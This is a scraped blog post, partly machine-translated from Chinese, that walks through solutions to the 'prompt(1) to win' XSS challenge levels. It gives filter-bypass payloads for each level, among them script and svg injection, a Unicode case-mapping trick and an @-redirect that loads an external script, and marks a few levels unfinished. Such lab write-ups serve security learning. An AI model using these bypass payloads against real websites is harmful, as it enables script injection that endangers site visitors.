当前位置:网站首页>XSS shooting range (3) prompt to win
XSS shooting range (3) prompt to win
2022-07-31 04:29:00 【tree lost its way】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,Close double quotes and tags;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、Just note it out;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,Then don't need them;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->Let's not close;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制srcThe value of must begin with http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中passwordcan't have it later / ,用%2f代替;
Write one in the server root directorytest.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,Reclosing before and after "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,The form must be entered formURL#formDataJSONsuch as:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的actionwill directly overwrite the first one in frontaction,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",Filtering doesn't work;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #will result in a new one title的产生,每个 titleAfter shows only before12characters entered;
用 /* */去除多余部分,Escape length limit 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,This makes it impossible to escape single-line comments;
但 javaScript规定有5个字符,cannot appear directly in a string,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

This thing cannot be used directly,Now the console has it generate a special onepayload,然后我们复制,再配合 --> behind the keynote " 即可;
'\u2028prompt(1)\u2029-->' //Copy to console build specialpayloadCopy and use again
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
So use a trick:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码.
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的.
The breaking point is ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
Filtered a bunch of stuff;
The solution is not understood,哈哈;
"(prompt(1))in"
0x0C
Filter first here,后替换,所以第10The title doesn't work that way;
用 parseInt() The function parses a string and returns an integer,再用toStringDecoding can be bypassed;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
Similar to the seventh question,But it's filtered/*,构造<!-- -->即可 ;
配合<svg>Make the annotation effective;
on this subject<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
- IDEA常用快捷键与插件
- Pytest e-commerce project combat (on)
- ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
- MySQL数据库安装配置保姆级教程(以8.0.29为例)有手就行
- MySQL to revise the root password
- (六)枚举、注解
- qlib架构
- 从零开始,一镜到底,纯净系统搭建除草机(Grasscutter)
- Musk talks to the "virtual version" of Musk, how far is the brain-computer interaction technology from us
- type_traits元编程库学习
猜你喜欢
随机推荐
binom二项分布,
开源汇智创未来 | 2022开放原子全球开源峰会OpenAtom openEuler分论坛圆满召开
three.js 制作3D相册
$attrs/$listeners
Safety 20220709
input输入框展示两位小数之precision
(Line segment tree) Summary of common problems of basic line segment tree
$parent/$children and ref
qlib架构
马斯克对话“虚拟版”马斯克,脑机交互技术离我们有多远
Pytest e-commerce project combat (on)
两个地址池r2负责管地址池r1负责管dhcp中继
[Swift]自定义点击APP图标弹出的快捷方式
(4) Recursion, variable parameters, access modifiers, understanding main method, code block
已解决(最新版selenium框架元素定位报错)NameError: name ‘By‘ is not defined
Error EPERM operation not permitted, mkdir ‘Dsoftwarenodejsnode_cache_cacach两种解决办法
Daily practice of LeetCode - palindrome structure of OR36 linked list
Summary of Huawei Distributed Storage FusionStorage Knowledge Points [Interview]
[shell basics] determine whether the directory is empty
(八)Math 类、Arrays 类、System类、Biglnteger 和 BigDecimal 类、日期类
![[Swift]自定义点击APP图标弹出的快捷方式](/img/d4/84b237995fc3d3700916eb57f6670d.png)








